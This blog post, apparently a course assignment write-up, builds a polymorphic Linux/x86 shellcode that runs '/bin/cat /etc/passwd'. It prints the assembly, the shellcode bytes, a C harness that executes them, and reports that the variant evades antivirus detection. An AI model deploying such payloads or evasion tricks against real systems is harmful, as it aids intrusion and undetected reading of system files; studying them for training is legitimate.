11 Minute Read
Student ID: SLAE-1250

Assignment Six: Polymorphic Conversion of Shellcode Part Two - bin/cat /etc/passwd

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert Certification:
http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/index.html

All code can be found in: https://github.com/securitychops/security-tube-slae32

All work was tested on a 32bit version of Ubuntu 12.10

TLDR; - JMP short Final_Breakdown


Part two of assignment six of the SLAE has us performing our second polymorphic transformation on the Linux/x86 shellcode taken from shell-storm.org:
Linux/x86 - bin/cat /etc/passwd - 43 bytes

Even though shellcode’s URL shows us the assembly that was used to produce the payload it is always smart to verify that the generated shellcode being provided is indeed the same machine code that is being claimed. In order to do that we will again lean on ndisasm in order to decompile the shellcode back into the assembly code for verification!

echo -ne "\x31\xc0\x99\x52\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x52\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80" | ndisasm -u -


Which does indeed produces the same assembly code that the shellcode author claimed to have used to create it (with comments added by me of course)!

xor eax,eax             ; zero out eax
cdq                     ; zero out edx
push edx                ; push null terminator to stack
push dword 0x7461632f   ; tac/
push dword 0x6e69622f   ; nib/
mov ebx,esp             ; move /bin/cat\0 to ebx
push edx                ; push null terminator to stack
push dword 0x64777373   ; dwss
push dword 0x61702f2f   ; ap//
push dword 0x6374652f   ; cte/
mov ecx,esp             ; move /etc//passwd\0 to ecx
mov al,0xb              ; move 0x0B hex or 11 decimal to eax (execve)
push edx                ; push null terminator to stack
push ecx                ; moves /etc//passwd to stack
push ebx                ; moves /bin/cat to stack
mov ecx,esp             ; moves /bin/cat\0/etc//passwd\0 to ecx
int 0x80                ; execve was just called...


I have gone ahead and added a few notes in the assembly code that was produced above to hopefully make it more clear as to what is happening!

Just like we did in previous examples we again referenced /usr/include/i386-linux-gnu/asm/unistd_32.h and were able to find out that the first function that we are going to be calling is:

#define __NR_execve 11

which in C is:

int execve(const char *filename, char *const argv[], char *const envp[]);


If it is unclear why we would be calling the execve function in this way please refer to the first blog post in this series as it goes into an extremely detailed explanation of who/what/why/how this is being done: Assignment One: Creating Shellcode to Bind a Shell Over TCP

The shellcode size we end up with is only 43 bytes, which means that in order to be within an acceptable range of no larger than 150% of the size of the original shellcode we can’t end up any larger than 63 bytes for our shellcode!

Below is the polymorphic version of the shellcode that I put together, it is not too crazy and only has a few differences but was enough to evade ClamAV! Even better is this shellcode ends up only being 48 bytes, so while not smaller then our original shellcode it is significantly smaller than 150%!

; Student ID     : SLAE-1250
; Student Name   : Jonathan "Chops" Crosby
; Assignment 6.2 : polymorphic bin/cat /etc/passwd for Linux/x86 Assembly
; File Name      : cat-passwd.nasm
; Shell Storm    : http://shell-storm.org/shellcode/files/shellcode-571.php

global _start

section .text

_start:

xor ecx,ecx             ; zero out ecx
mul ecx                 ; will zero out edx and eax
                        ; for more info see the following URL
                        ; https://en.wikibooks.org/wiki/X86_Assembly/Arithmetic
mov ebx, ecx            ; zero out ebx
push edx                ; push null terminator to stack
push dword 0x7461632f   ; tac/
push dword 0x6e69622f   ; nib/
mov ebx,esp             ; move /bin/cat\0 to ebx
push edx                ; push null terminator to stack
push dword 0x64777373   ; dwss
push dword 0x61702f2f   ; ap//
push dword 0x6374652f   ; cte/
mov ecx,esp             ; move /etc//passwd\0 to ecx
mov al,0x0A             ; move 0x0A hex or 10 decimal to eax
inc al                  ; increase eax to be 11 instead of 10
push edx                ; push null terminator to stack
push ecx                ; moves /etc//passwd to stack
push ebx                ; moves /bin/cat to stack
mov ecx,esp             ; moves /bin/cat\0/etc//passwd\0 to ecx
int 0x80                ; execve was just called...


The main takeaway from this block of code was the usage of the mul instruction in order to clear out ebx and edx with one instruction as well as the mov al, 0x0A followed immediately by the inc al instruction to get it back up to 11! There is nothing earth shattering going on here, but I think it drives an important point home in that even the slightest deviation from a known pattern for shellcode can be enough to evade different AntiVirus programs!

Just like in the first few lessons of the SLAE we again leveraged our helper compile.sh script in order to assemble our shellcode into a linked elf binary as such:

./compile.sh cat-passwd
[+] Assembling with Nasm ... 
[+] Linking ...
[+] Done!


Once we had the assembled binary (and tested that it worked correctly) we again were able to extract the shellcode through the same command line fu as from the earlier lessons:

objdump -d ./cat-passwd|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
commandlinefu - shellcode from objdump


Which produces the following 48 bytes of shellcode!

"\x31\xc9\xf7\xe1\x89\xcb\x52\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x52\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe1\xb0\x0a\xfe\xc0\x52\x51\x53\x89\xe1\xcd\x80"


At this point we are now able to replace the shellcode in our helper C program as such:

// Student ID     : SLAE-1250
// Student Name   : Jonathan "Chops" Crosby
// Assignment 6.2 : Shell Code Test File
// File Name      : cat-passwd.c

#include<stdio.h>
#include<string.h>

//compile with: gcc cat-passwd.c -o cat-passwd -fno-stack-protector -z execstack

unsigned char code[] = \
"\x31\xc9\xf7\xe1\x89\xcb\x52\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x52\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe1\xb0\x0a\xfe\xc0\x52\x51\x53\x89\xe1\xcd\x80";

main()
{

	printf("Shellcode Length:  %d\n", strlen(code));

	int (*ret)() = (int(*)())code;

	ret();

}


And then we are able to compile our final binary and execute the shellcode as though it were being injected into the memory of a victim process

gcc cat-passwd.c -o cat-passwd -fno-stack-protector -z execstack


Animated gif of the complete compilation and running of our polymorphic shellcode!

running the decoded shellcode

Just like in the previous blog post the really interesting part is the difference between the results returned for each of the shellcode after being uploaded to VirusTotal!

The first assembled elf32 binary from the Shell-Storm shellcode produces the following results when uploaded to VirusTotal

Original shellcode from Shell-Storm

And the second set of obfuscated shellcode we wrote produced the following results when uploaded to VirusTotal

Polymorphic shellcode modified from Shell-Storm

And just like last time we can again see that zero findings is still better than one!


Final_Breakdown:


Below are the contents of the final code needed to generate the polymorphic obfuscated shellcode inspired by the shellcode found at: Linux/x86 - bin/cat /etc/passwd - 43 bytes.

Assembly Code

; Student ID     : SLAE-1250
; Student Name   : Jonathan "Chops" Crosby
; Assignment 6.2 : polymorphic bin/cat /etc/passwd for Linux/x86 Assembly
; File Name      : cat-passwd.nasm
; Shell Storm    : http://shell-storm.org/shellcode/files/shellcode-571.php

global _start

section .text

_start:

xor ecx,ecx             ; zero out ecx
mul ecx                 ; will zero out edx and eax
                        ; for more info see the following URL
                        ; https://en.wikibooks.org/wiki/X86_Assembly/Arithmetic
mov ebx, ecx            ; zero out ebx
push edx                ; push null terminator to stack
push dword 0x7461632f   ; tac/
push dword 0x6e69622f   ; nib/
mov ebx,esp             ; move /bin/cat\0 to ebx
push edx                ; push null terminator to stack
push dword 0x64777373   ; dwss
push dword 0x61702f2f   ; ap//
push dword 0x6374652f   ; cte/
mov ecx,esp             ; move /etc//passwd\0 to ecx
mov al,0x0A             ; move 0x0A hex or 10 decimal to eax
inc al                  ; increase eax to be 11 instead of 10
push edx                ; push null terminator to stack
push ecx                ; moves /etc//passwd to stack
push ebx                ; moves /bin/cat to stack
mov ecx,esp             ; moves /bin/cat\0/etc//passwd\0 to ecx
int 0x80                ; execve was just called...
https://github.com/securitychops/security-tube-slae32/blob/master/assignment-6/cat-passwd.nasm

Helper Compile Bash Script

#!/bin/bash

echo '[+] Assembling with Nasm ... '
nasm -f elf32 -o $1.o $1.nasm

echo '[+] Linking ...'
ld -o $1 $1.o

echo '[+] Done!'
https://github.com/securitychops/security-tube-slae32/blob/master/assignment-6/compile.sh

Final C Program To Execute Shellcode

// Student ID     : SLAE-1250
// Student Name   : Jonathan "Chops" Crosby
// Assignment 6.2 : Shell Code Test File
// File Name      : cat-passwd.c

#include<stdio.h>
#include<string.h>

//compile with: gcc cat-passwd.c -o cat-passwd -fno-stack-protector -z execstack

unsigned char code[] = \
"\x31\xc9\xf7\xe1\x89\xcb\x52\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x52\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe1\xb0\x0a\xfe\xc0\x52\x51\x53\x89\xe1\xcd\x80";

main()
{

	printf("Shellcode Length:  %d\n", strlen(code));

	int (*ret)() = (int(*)())code;

	ret();

}
https://github.com/securitychops/security-tube-slae32/blob/master/assignment-6/cat-passwd.c

Jonathan Crosby

growing my chops in cybersecurity
(all opinions are my own and not the views of my employer)